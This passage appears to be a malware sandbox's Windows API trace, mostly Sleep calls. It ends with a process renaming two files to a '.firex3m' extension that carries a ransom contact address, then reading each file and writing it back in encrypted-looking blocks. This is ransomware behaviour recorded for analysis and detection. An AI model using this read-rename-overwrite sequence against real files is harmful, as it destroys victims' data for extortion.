(dwMilliseconds=0x1) [0067.710] Sleep (dwMilliseconds=0x1) [0067.724] Sleep (dwMilliseconds=0x1) [0067.742] Sleep (dwMilliseconds=0x1) [0067.763] Sleep (dwMilliseconds=0x1) [0067.773] Sleep (dwMilliseconds=0x1) [0067.788] Sleep (dwMilliseconds=0x1) [0067.933] Sleep (dwMilliseconds=0x1) [0068.043] Sleep (dwMilliseconds=0x1) [0068.146] Sleep (dwMilliseconds=0x1) [0068.283] Sleep (dwMilliseconds=0x1) [0068.393] Sleep (dwMilliseconds=0x1) [0068.493] Sleep (dwMilliseconds=0x1) [0068.545] Sleep (dwMilliseconds=0x1) [0068.698] Sleep (dwMilliseconds=0x1) [0068.747] Sleep (dwMilliseconds=0x1) [0068.792] Sleep (dwMilliseconds=0x1) [0068.842] Sleep (dwMilliseconds=0x1) [0068.884] Sleep (dwMilliseconds=0x1) [0068.934] Sleep (dwMilliseconds=0x1) [0068.976] Sleep (dwMilliseconds=0x1) [0069.047] Sleep (dwMilliseconds=0x1) [0069.105] Sleep (dwMilliseconds=0x1) [0069.158] Sleep (dwMilliseconds=0x1) [0069.198] Sleep (dwMilliseconds=0x1) [0069.249] Sleep (dwMilliseconds=0x1) [0069.293] Sleep (dwMilliseconds=0x1) [0069.378] Sleep (dwMilliseconds=0x1) [0069.435] Sleep (dwMilliseconds=0x1) [0069.483] Sleep (dwMilliseconds=0x1) [0069.523] Sleep (dwMilliseconds=0x1) [0069.688] Sleep (dwMilliseconds=0x1) [0069.920] Sleep (dwMilliseconds=0x1) [0070.146] Sleep (dwMilliseconds=0x1) [0070.263] Sleep (dwMilliseconds=0x1) [0070.381] Sleep (dwMilliseconds=0x1) [0070.534] Sleep (dwMilliseconds=0x1) [0070.869] Sleep (dwMilliseconds=0x1) [0071.569] Sleep (dwMilliseconds=0x1) [0071.941] Sleep (dwMilliseconds=0x1) [0072.375] Sleep (dwMilliseconds=0x1) [0072.603] Sleep (dwMilliseconds=0x1) [0072.804] Sleep (dwMilliseconds=0x1) [0072.938] Sleep (dwMilliseconds=0x1) [0073.100] Sleep (dwMilliseconds=0x1) [0073.606] Sleep (dwMilliseconds=0x1) [0073.776] Sleep (dwMilliseconds=0x1) [0073.976] Sleep (dwMilliseconds=0x1) [0074.061] Sleep (dwMilliseconds=0x1) [0074.180] Sleep (dwMilliseconds=0x1) [0074.381] Sleep (dwMilliseconds=0x1) [0074.671] Sleep (dwMilliseconds=0x1) [0074.772] Sleep (dwMilliseconds=0x1) [0074.848] Sleep (dwMilliseconds=0x1) [0074.908] Sleep (dwMilliseconds=0x1) [0074.997] Sleep (dwMilliseconds=0x1) [0075.064] Sleep (dwMilliseconds=0x1) [0075.102] Sleep (dwMilliseconds=0x1) [0075.161] Sleep (dwMilliseconds=0x1) [0075.219] Sleep (dwMilliseconds=0x1) [0075.261] Sleep (dwMilliseconds=0x1) [0075.307] Sleep (dwMilliseconds=0x1) [0075.359] Sleep (dwMilliseconds=0x1) [0075.423] Sleep (dwMilliseconds=0x1) [0075.510] Sleep (dwMilliseconds=0x1) [0075.571] Sleep (dwMilliseconds=0x1) [0075.609] Sleep (dwMilliseconds=0x1) [0075.694] Sleep (dwMilliseconds=0x1) [0075.747] Sleep (dwMilliseconds=0x1) [0075.790] Sleep (dwMilliseconds=0x1) [0075.833] Sleep (dwMilliseconds=0x1) [0076.046] Sleep (dwMilliseconds=0x1) [0076.061] Sleep (dwMilliseconds=0x1) [0076.084] Sleep (dwMilliseconds=0x1) [0076.105] Sleep (dwMilliseconds=0x1) [0076.187] Sleep (dwMilliseconds=0x1) [0076.390] Sleep (dwMilliseconds=0x1) [0076.531] Sleep (dwMilliseconds=0x1) [0076.670] Sleep (dwMilliseconds=0x1) [0076.771] Sleep (dwMilliseconds=0x1) [0076.808] Sleep (dwMilliseconds=0x1) [0076.843] Sleep (dwMilliseconds=0x1) [0076.870] Sleep (dwMilliseconds=0x1) [0076.921] Sleep (dwMilliseconds=0x1) [0076.984] Sleep (dwMilliseconds=0x1) [0077.069] Sleep (dwMilliseconds=0x1) [0077.154] Sleep (dwMilliseconds=0x1) [0077.223] Sleep (dwMilliseconds=0x1) [0077.288] Sleep (dwMilliseconds=0x1) [0077.361] Sleep (dwMilliseconds=0x1) [0077.411] Sleep (dwMilliseconds=0x1) [0077.522] Sleep (dwMilliseconds=0x1) [0077.596] Sleep (dwMilliseconds=0x1) [0077.650] Sleep (dwMilliseconds=0x1) [0077.687] Sleep (dwMilliseconds=0x1) [0077.737] Sleep (dwMilliseconds=0x1) [0077.781] Sleep (dwMilliseconds=0x1) [0077.834] Sleep (dwMilliseconds=0x1) [0077.855] Sleep (dwMilliseconds=0x1) [0077.907] Sleep (dwMilliseconds=0x1) [0077.964] Sleep (dwMilliseconds=0x1) [0077.977] Sleep (dwMilliseconds=0x1) [0078.001] Sleep (dwMilliseconds=0x1) [0078.085] Sleep (dwMilliseconds=0x1) [0078.117] Sleep (dwMilliseconds=0x1) [0078.134] Sleep (dwMilliseconds=0x1) [0078.193] Sleep (dwMilliseconds=0x1) [0078.223] Sleep (dwMilliseconds=0x1) [0078.238] Sleep (dwMilliseconds=0x1) [0078.253] Sleep (dwMilliseconds=0x1) [0078.272] Sleep (dwMilliseconds=0x1) [0078.286] Sleep (dwMilliseconds=0x1) [0078.314] Sleep (dwMilliseconds=0x1) [0078.360] Sleep (dwMilliseconds=0x1) [0078.379] Sleep (dwMilliseconds=0x1) [0078.513] Sleep (dwMilliseconds=0x1) [0078.536] Sleep (dwMilliseconds=0x1) [0078.557] Sleep (dwMilliseconds=0x1) [0078.572] Sleep (dwMilliseconds=0x1) [0078.607] Sleep (dwMilliseconds=0x1) [0078.630] Sleep (dwMilliseconds=0x1) [0078.642] Sleep (dwMilliseconds=0x1) [0078.662] Sleep (dwMilliseconds=0x1) [0078.673] Sleep (dwMilliseconds=0x1) [0078.708] Sleep (dwMilliseconds=0x1) [0078.721] Sleep (dwMilliseconds=0x1) [0078.738] Sleep (dwMilliseconds=0x1) [0078.754] Sleep (dwMilliseconds=0x1) [0078.769] Sleep (dwMilliseconds=0x1) [0078.786] Sleep (dwMilliseconds=0x1) [0078.837] Sleep (dwMilliseconds=0x1) [0078.886] Sleep (dwMilliseconds=0x1) [0078.894] Sleep (dwMilliseconds=0x1) [0078.927] Sleep (dwMilliseconds=0x1) [0078.945] Sleep (dwMilliseconds=0x1) [0078.957] Sleep (dwMilliseconds=0x1) [0078.978] Sleep (dwMilliseconds=0x1) [0079.003] Sleep (dwMilliseconds=0x1) [0079.031] Sleep (dwMilliseconds=0x1) [0079.050] Sleep (dwMilliseconds=0x1) [0079.079] Sleep (dwMilliseconds=0x1) [0079.099] Sleep (dwMilliseconds=0x1) [0079.116] Sleep (dwMilliseconds=0x1) [0079.130] Sleep (dwMilliseconds=0x1) [0079.159] Sleep (dwMilliseconds=0x1) [0079.225] Sleep (dwMilliseconds=0x1) [0079.250] Sleep (dwMilliseconds=0x1) [0079.270] Sleep (dwMilliseconds=0x1) [0079.286] Sleep (dwMilliseconds=0x1) [0079.301] Sleep (dwMilliseconds=0x1) [0079.315] Sleep (dwMilliseconds=0x1) [0079.330] Sleep (dwMilliseconds=0x1) [0079.347] Sleep (dwMilliseconds=0x1) [0079.362] Sleep (dwMilliseconds=0x1) [0079.377] Sleep (dwMilliseconds=0x1) [0079.398] Sleep (dwMilliseconds=0x1) [0079.416] Sleep (dwMilliseconds=0x1) [0079.424] Sleep (dwMilliseconds=0x1) [0079.446] Sleep (dwMilliseconds=0x1) [0079.517] Sleep (dwMilliseconds=0x1) [0079.542] Sleep (dwMilliseconds=0x1) [0079.547] Sleep (dwMilliseconds=0x1) [0079.600] Sleep (dwMilliseconds=0x1) [0079.612] Sleep (dwMilliseconds=0x1) [0079.628] Sleep (dwMilliseconds=0x1) [0079.643] Sleep (dwMilliseconds=0x1) [0079.660] Sleep (dwMilliseconds=0x1) [0079.676] Sleep (dwMilliseconds=0x1) [0079.695] Sleep (dwMilliseconds=0x1) [0079.730] Sleep (dwMilliseconds=0x1) [0079.744] Sleep (dwMilliseconds=0x1) [0079.800] Sleep (dwMilliseconds=0x1) [0079.816] Sleep (dwMilliseconds=0x1) [0079.830] Sleep (dwMilliseconds=0x1) [0079.891] Sleep (dwMilliseconds=0x1) [0079.915] Sleep (dwMilliseconds=0x1) [0079.933] Sleep (dwMilliseconds=0x1) [0079.938] Sleep (dwMilliseconds=0x1) [0079.986] Sleep (dwMilliseconds=0x1) [0080.048] Sleep (dwMilliseconds=0x1) [0080.070] Sleep (dwMilliseconds=0x1) [0080.084] Sleep (dwMilliseconds=0x1) [0080.100] Sleep (dwMilliseconds=0x1) [0080.136] Sleep (dwMilliseconds=0x1) [0080.160] Sleep (dwMilliseconds=0x1) [0080.173] Sleep (dwMilliseconds=0x1) [0080.237] Sleep (dwMilliseconds=0x1) [0080.260] Sleep (dwMilliseconds=0x1) [0080.269] Sleep (dwMilliseconds=0x1) [0080.285] Sleep (dwMilliseconds=0x1) [0080.301] Sleep (dwMilliseconds=0x1) [0080.316] Sleep (dwMilliseconds=0x1) [0080.343] Sleep (dwMilliseconds=0x1) [0080.361] Sleep (dwMilliseconds=0x1) [0080.384] Sleep (dwMilliseconds=0x1) [0080.392] Sleep (dwMilliseconds=0x1) [0080.410] Sleep (dwMilliseconds=0x1) [0080.426] Sleep (dwMilliseconds=0x1) [0080.441] Sleep (dwMilliseconds=0x1) [0080.503] Sleep (dwMilliseconds=0x1) [0080.526] Sleep (dwMilliseconds=0x1) [0080.544] Sleep (dwMilliseconds=0x1) [0080.567] Sleep (dwMilliseconds=0x1) [0080.583] Sleep (dwMilliseconds=0x1) [0080.605] Sleep (dwMilliseconds=0x1) [0080.614] Sleep (dwMilliseconds=0x1) [0080.660] Sleep (dwMilliseconds=0x1) [0080.673] Sleep (dwMilliseconds=0x1) [0080.703] Sleep (dwMilliseconds=0x1) [0080.723] Sleep (dwMilliseconds=0x1) [0080.765] Sleep (dwMilliseconds=0x1) [0080.788] Sleep (dwMilliseconds=0x1) [0080.805] Sleep (dwMilliseconds=0x1) [0080.819] Sleep (dwMilliseconds=0x1) [0080.836] Sleep (dwMilliseconds=0x1) [0080.847] Sleep (dwMilliseconds=0x1) [0080.888] Sleep (dwMilliseconds=0x1) [0080.918] Sleep (dwMilliseconds=0x1) [0080.943] Sleep (dwMilliseconds=0x1) [0080.955] Sleep (dwMilliseconds=0x1) [0080.980] Sleep (dwMilliseconds=0x1) [0080.988] Sleep (dwMilliseconds=0x1) [0081.006] Sleep (dwMilliseconds=0x1) [0081.016] Sleep (dwMilliseconds=0x1) [0081.039] Sleep (dwMilliseconds=0x1) [0081.047] Sleep (dwMilliseconds=0x1) [0081.288] Sleep (dwMilliseconds=0x1) [0081.437] Sleep (dwMilliseconds=0x1) [0081.527] Sleep (dwMilliseconds=0x1) [0081.541] Sleep (dwMilliseconds=0x1) [0081.559] Sleep (dwMilliseconds=0x1) [0081.565] Sleep (dwMilliseconds=0x1) [0081.581] Sleep (dwMilliseconds=0x1) [0081.600] Sleep (dwMilliseconds=0x1) [0081.612] Sleep (dwMilliseconds=0x1) [0081.629] Sleep (dwMilliseconds=0x1) [0081.664] Sleep (dwMilliseconds=0x1) [0081.683] Sleep (dwMilliseconds=0x1) [0081.691] Sleep (dwMilliseconds=0x1) [0081.710] Sleep (dwMilliseconds=0x1) [0081.757] Sleep (dwMilliseconds=0x1) [0081.776] Sleep (dwMilliseconds=0x1) [0081.789] Sleep (dwMilliseconds=0x1) [0081.833] Sleep (dwMilliseconds=0x1) [0081.848] Sleep (dwMilliseconds=0x1) [0081.886] Sleep (dwMilliseconds=0x1) [0081.892] Sleep (dwMilliseconds=0x1) [0081.911] Sleep (dwMilliseconds=0x1) [0081.926] Sleep (dwMilliseconds=0x1) [0081.943] Sleep (dwMilliseconds=0x1) [0081.966] Sleep (dwMilliseconds=0x1) [0081.988] Sleep (dwMilliseconds=0x1) [0082.002] Sleep (dwMilliseconds=0x1) [0082.037] Sleep (dwMilliseconds=0x1) [0082.049] Sleep (dwMilliseconds=0x1) [0082.069] Sleep (dwMilliseconds=0x1) [0082.111] Sleep (dwMilliseconds=0x1) [0082.134] Sleep (dwMilliseconds=0x1) [0082.149] Sleep (dwMilliseconds=0x1) [0082.159] Sleep (dwMilliseconds=0x1) [0082.193] Sleep (dwMilliseconds=0x1) [0082.216] Sleep (dwMilliseconds=0x1) [0082.231] Sleep (dwMilliseconds=0x1) [0082.260] Sleep (dwMilliseconds=0x1) [0082.275] Sleep (dwMilliseconds=0x1) [0082.296] Sleep (dwMilliseconds=0x1) [0082.308] Sleep (dwMilliseconds=0x1) [0082.372] Sleep (dwMilliseconds=0x1) [0082.417] Sleep (dwMilliseconds=0x1) [0082.542] Sleep (dwMilliseconds=0x1) [0082.586] Sleep (dwMilliseconds=0x1) [0082.638] Sleep (dwMilliseconds=0x1) [0082.682] Sleep (dwMilliseconds=0x1) [0082.730] Sleep (dwMilliseconds=0x1) [0082.775] Sleep (dwMilliseconds=0x1) [0082.823] Sleep (dwMilliseconds=0x1) [0082.869] Sleep (dwMilliseconds=0x1) [0082.917] Sleep (dwMilliseconds=0x1) [0082.967] Sleep (dwMilliseconds=0x1) [0083.017] Sleep (dwMilliseconds=0x1) [0083.054] Sleep (dwMilliseconds=0x1) [0083.105] Sleep (dwMilliseconds=0x1) [0083.149] Sleep (dwMilliseconds=0x1) [0083.201] Sleep (dwMilliseconds=0x1) [0083.241] Sleep (dwMilliseconds=0x1) [0083.294] Sleep (dwMilliseconds=0x1) [0083.336] Sleep (dwMilliseconds=0x1) [0083.386] Sleep (dwMilliseconds=0x1) [0083.435] Sleep (dwMilliseconds=0x1) [0083.704] Sleep (dwMilliseconds=0x1) [0083.750] Sleep (dwMilliseconds=0x1) [0083.803] Sleep (dwMilliseconds=0x1) [0083.912] Sleep (dwMilliseconds=0x1) [0084.014] Sleep (dwMilliseconds=0x1) [0084.092] Sleep (dwMilliseconds=0x1) [0084.203] Sleep (dwMilliseconds=0x1) [0084.342] Sleep (dwMilliseconds=0x1) [0084.739] Sleep (dwMilliseconds=0x1) [0084.810] Sleep (dwMilliseconds=0x1) [0084.878] Sleep (dwMilliseconds=0x1) [0084.959] Sleep (dwMilliseconds=0x1) [0085.047] Sleep (dwMilliseconds=0x1) [0085.124] Sleep (dwMilliseconds=0x1) [0085.178] Sleep (dwMilliseconds=0x1) [0085.345] Sleep (dwMilliseconds=0x1) [0085.391] Sleep (dwMilliseconds=0x1) [0085.735] Sleep (dwMilliseconds=0x1) [0085.832] Sleep (dwMilliseconds=0x1) [0085.962] Sleep (dwMilliseconds=0x1) [0086.077] Sleep (dwMilliseconds=0x1) [0086.192] Sleep (dwMilliseconds=0x1) [0086.232] Sleep (dwMilliseconds=0x1) [0086.299] Sleep (dwMilliseconds=0x1) [0086.347] Sleep (dwMilliseconds=0x1) [0086.593] Sleep (dwMilliseconds=0x1) [0086.892] Sleep (dwMilliseconds=0x1) [0087.096] Sleep (dwMilliseconds=0x1) [0087.316] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml", len=0x2c | out: pbstr=0x4fbff7c*="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 1 [0087.317] GetProcessHeap () returned 0x630000 [0087.317] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b04f8, Size=0x14) returned 0x6b0418 [0087.317] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0087.317] CloseHandle (hObject=0x678) returned 1 [0087.318] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.318] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0087.319] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0087.319] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d4ec0 [0087.319] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0087.319] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0087.319] GetProcessHeap () returned 0x630000 [0087.319] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ed88b0 [0087.320] GetProcessHeap () returned 0x630000 [0087.320] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ee3ce0 [0087.320] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.320] ReadFile (in: hFile=0x678, lpBuffer=0x6ed88b0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed88b0*, lpNumberOfBytesRead=0x4fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0091.883] GetProcessHeap () returned 0x630000 [0091.883] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8a78 [0091.883] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.883] WriteFile (in: hFile=0x678, lpBuffer=0x6ee3ce0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee3ce0*, lpNumberOfBytesWritten=0x4fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0091.884] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.884] WriteFile (in: hFile=0x678, lpBuffer=0x6eef0df*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6eef0df*, lpNumberOfBytesWritten=0x4fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0091.884] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.884] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0091.884] CloseHandle (hObject=0x678) returned 1 [0091.887] GetProcessHeap () returned 0x630000 [0091.887] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ee3ce0 | out: hHeap=0x630000) returned 1 [0091.887] GetProcessHeap () returned 0x630000 [0091.887] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed88b0 | out: hHeap=0x630000) returned 1 [0091.887] GetProcessHeap () returned 0x630000 [0091.887] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8a78 | out: hHeap=0x630000) returned 1 [0091.887] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0091.887] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfcc4 | out: lpFindFileData=0x4fbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0xfcb85d5f, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0xedb4, dwReserved0=0xbd47496, dwReserved1=0x6ed88a8, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d51c0 [0091.888] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0091.888] Sleep (dwMilliseconds=0x1) [0093.542] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\588bce7c90097ed212\\netfx_Core_x86.msi", len=0x28 | out: pbstr=0x4fbff7c*="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 1 [0093.542] GetProcessHeap () returned 0x630000 [0093.542] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7268d0, Size=0x7c) returned 0x727bf0 [0093.542] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0093.543] CloseHandle (hObject=0x6f4) returned 1 [0093.543] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.543] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.543] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.544] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Core_x86.msi.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="NETFX_~4.FIR")) returned 0x6d5240 [0093.544] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0093.544] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0093.544] GetProcessHeap () returned 0x630000 [0093.544] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71a68e8 [0093.544] GetProcessHeap () returned 0x630000 [0093.544] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71b1d18 [0093.545] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.545] ReadFile (in: hFile=0x6f4, lpBuffer=0x71a68e8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x71a68e8*, lpNumberOfBytesRead=0x4fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0100.703] GetProcessHeap () returned 0x630000 [0100.703] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeeb8 [0100.703] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.703] WriteFile (in: hFile=0x6f4, lpBuffer=0x71b1d18*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x71b1d18*, lpNumberOfBytesWritten=0x4fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0100.703] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.703] WriteFile (in: hFile=0x6f4, lpBuffer=0x71bd117*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x71bd117*, lpNumberOfBytesWritten=0x4fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0100.706] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.706] WriteFile (in: hFile=0x6f4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0100.706] CloseHandle (hObject=0x6f4) returned 1 [0100.735] GetProcessHeap () returned 0x630000 [0100.735] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71b1d18 | out: hHeap=0x630000) returned 1 [0100.737] GetProcessHeap () returned 0x630000 [0100.737] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71a68e8 | out: hHeap=0x630000) returned 1 [0100.737] GetProcessHeap () returned 0x630000 [0100.737] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeeb8 | out: hHeap=0x630000) returned 1 [0100.737] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0100.737] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfcc4 | out: lpFindFileData=0x4fbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x1febfd9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11c024, dwReserved0=0xbd47496, dwReserved1=0x71a68e0, cFileName="netfx_Core_x86.msi.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="NETFX_~4.FIR")) returned 0x6d51c0 [0100.738] FindClose (in: 